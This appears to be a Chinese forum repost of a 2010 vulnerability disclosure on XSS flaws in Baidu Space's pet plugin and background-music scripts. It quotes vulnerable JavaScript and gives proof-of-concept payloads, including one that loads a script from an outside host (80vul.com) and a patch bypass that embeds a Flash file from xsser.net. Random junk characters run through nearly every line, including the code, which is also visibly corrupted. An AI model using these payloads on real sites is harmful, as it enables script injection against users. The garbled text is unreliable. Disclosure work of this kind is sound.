百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
( _% G) Z4 t7 @: Y. ~! x* l9 ~& M9 ]( {, a8 O6 @
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 1 I! `8 X z1 m5 H
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
( N5 j* Y, ^: y1 e+ d' |( j& y9 G0 [1 Z! U6 t
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> $ @' f* H; g! P1 @2 \; A; t" f
其中BdUtil.insertWBR为 9 Y4 ~" w- V8 u5 t4 F
function(text, step) {
5 W) _7 @$ F. S" E- | var textarea = textAreaCache || getContainer();
: O8 k5 v* s) b% l0 U0 Y' \ if (!textarea) { / [: j8 v `- M
return text; ! F7 }& ~+ t ]( W& z
}
6 @' f2 _2 A; b# ~; ~* @ textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); , h: ^1 ?# ^* }# l; ~4 [
var string = textarea.value;
9 c0 j! K# z4 d+ M( E4 f! r/ n, L var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
/ e/ c7 J) H( f& _/ T3 G% K var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
% `$ X! M# E1 |) ^; J& p return result;
) J# f! u, x2 w3 f7 W4 _$ x0 i} 8 ]. b5 g& d9 O4 i& A' H9 k8 u
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 3 j3 l1 I. @0 R' O
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
% g: I2 o& B: |7 y1 W$ F* E( f
) R( ?3 Y+ j& y$ R. b二:creatbgmusic() Dom-Xss Bug % z4 ^ h! C* Y3 s1 r
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
" ~6 w; o. C9 e7 H0 Z1 l1 Z1 U/ H* _# q( j" b
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
& o" D. ]6 g- @6 b2 ~1 F N; N! q* e2 a1 G# z- e. ?
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { & r+ i4 Z' S: r4 w7 E6 r% C* x
//传入的murl赋值到bgmusic1和bgmusic2中
: Q* `5 t( r9 a6 t r, a) p //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
+ Y$ t4 v! X6 C$ _& d+ I8 S var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 7 Q; q$ c4 v: @; x: m: t/ E, u
if (musicnum <= 1) { & A) m; z# F; z8 k9 F
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
# {+ Z' a/ ^2 z( E1 t } " W: [2 @( r/ q2 D
bgmusic1 += "</OBJECT>";
% [/ l4 d# e) V( s8 h var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; $ ]( G. }* f! Y7 B( ~' E
if (musicnum <= 1) {
8 e E" L# H8 @( W B" d) V6 s* w bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; + Y0 a3 `4 f2 J' }( K$ m5 z- H0 }
} / m4 `6 K" o8 L$ H; m2 F6 B0 A
bgmusic2 += "> </EMBED>";
; \4 k- ^8 K+ X2 @, } var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
2 P& M0 {, w J" e( ?# N3 G var bgmus = detectWMP(); 1 x( Q8 b0 `$ _. a
if (functype == "FckMusicHelper") {
) H! v& `5 d+ Q7 t" u if (bgmus.installed) { , `5 W* n% i* Q
if (bgmus.type == "IE") {
. Y: V' [2 n0 ?8 n5 s2 B. } return bgmusic1;
4 a" ^5 z7 [6 S( j0 w, h3 p } else if (bgmus.type == "NS") { : Q& C4 I( J; @ @0 E+ L. H1 A0 o) H
return bgmusic2;
3 x+ q9 Q$ n9 `5 c* Y# q% r }
) L0 U0 h% a1 {; q o3 V( w5 x } else { 4 x9 m) R$ f/ M1 r+ p
return bgmusic3;
+ D. G- r1 V G, N } 9 ]1 D0 ?1 G5 r% A% k
} else {
% h% t" x0 U2 ~: Y# h# T if (bgmus.installed) { 6 S" y, ?$ H4 B; j6 Z
//document.write 直接输出bgmusic变量 导致xss
6 X' W- z+ M! [+ {. D, W0 G if (bgmus.type == "IE") {
. b4 I9 K( U/ b( b document.write(bgmusic1); 3 P! \$ b0 I7 ~
} else if (bgmus.type == "NS") { 4 \# }' @9 |& ~. P. `) C8 Z2 d
document.write(bgmusic2);
8 R* c& U% [+ E; j3 X }
6 `) N# F) Y) \* C } else { ; `9 b' B9 V; f
document.write(bgmusic3);
- i3 W( N. s [2 _1 ~. @ }
7 _+ n( Z" U. l return ""; # [( h, H% b4 b$ ~7 @4 Y: X6 V
} & m o7 C8 s# g3 ~# F7 W
}
& P; u3 y( U! V( a/ S& {, D$ H
8 H# I% G/ z- F在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
. a& u9 N) W4 x( q# w
0 Z! _) h4 }2 @/ Efunction initBlogTextForFCK(){
: c/ c9 y0 m7 j//fck init music
. j/ `/ q' u1 dif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} $ p+ f# ^2 T* O" Y& h- y) b, b
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
w! f6 A( K( X1 z6 R# x" Qvar isAutoPlay=true;
% s- W: F% i J0 e& Lfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
4 e s( P# R" p0 @! `" N% A var img=imgBox;
1 e. h9 U+ t* p1 P g5 E if(img.getAttribute(’rel’)){
8 w/ g% q: o# ^, Z. [( N var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
# U- L; m4 H" m" K3 j9 H var musicDiv = document.createElement("SPAN"); 5 ?6 k- W3 a; E! b* L, d
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
6 ?1 x. C1 g% q, E) e
& n. e7 o- n! ], q( r# V x: Z ..........................
! d* n, {0 l* S& E3 v
$ }/ \% @2 D' N6 v( ^) c" u( _6 b //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. - p1 Z+ t& _% F* f$ v$ u
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
/ f6 k% ^% L4 [# o0 P1 ? shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 1 p5 Z+ u! H5 Z
musicDiv.innerHTML=shtml;
- Y# |4 V* U. _2 t( B5 E. a4 h i--;n--;
+ U! z0 b% u: l. D0 ^ } 0 _% [( Z4 X6 U" s
}
. o0 K) o) o' l9 U y! B/ V, i
* E8 u) ^ D: Y从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. 4 a' ^! b' @& l% F( D' R" L! f- E
# |+ ~$ z+ D3 L6 v9 W! q: s
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> - m0 W$ }, | |! p A
! d% K" K' u' j
等待官方补丁 $ `5 R) g- k$ L2 p& `9 f- _
2 E# u6 J+ ]* `0 S) xupdate 2010年5月13日
# P! A4 _2 R4 t1 C* X" t) l
O* ]& I/ B7 Y2 a* V官方补丁:
2 E6 X) v$ _# r+ l% g
' ]1 ?! o2 f$ Nvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
! }3 _2 C9 [& Q8 `; ~& F; K改为: 5 }: @8 s; @' {& Q& T% m: e
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
! L$ R5 o, W5 L- O6 ]5 `: X& x! X! r1 h
update 2010年5月13日 21:50:37
9 j D1 `0 F2 q
0 v* ^# D7 T2 u' C6 @; s) g4 P4 F补丁存在漏洞 没有过滤" 可以继续跨:
, p: {9 d& b# T! l& g% a y" B: v' R& P" @/ Z5 M" H
NEW POC: 7 l3 E" s2 q( W+ e6 O0 L4 T3 O
3 N. ~+ [& x% G3 m# B$ G<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" : r0 c% y* O& Z# r; N; r
. j( d" P& H7 G* E9 Yallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>7 C) @1 C% a5 t: {
5 H8 C z. @. l: G/ f
|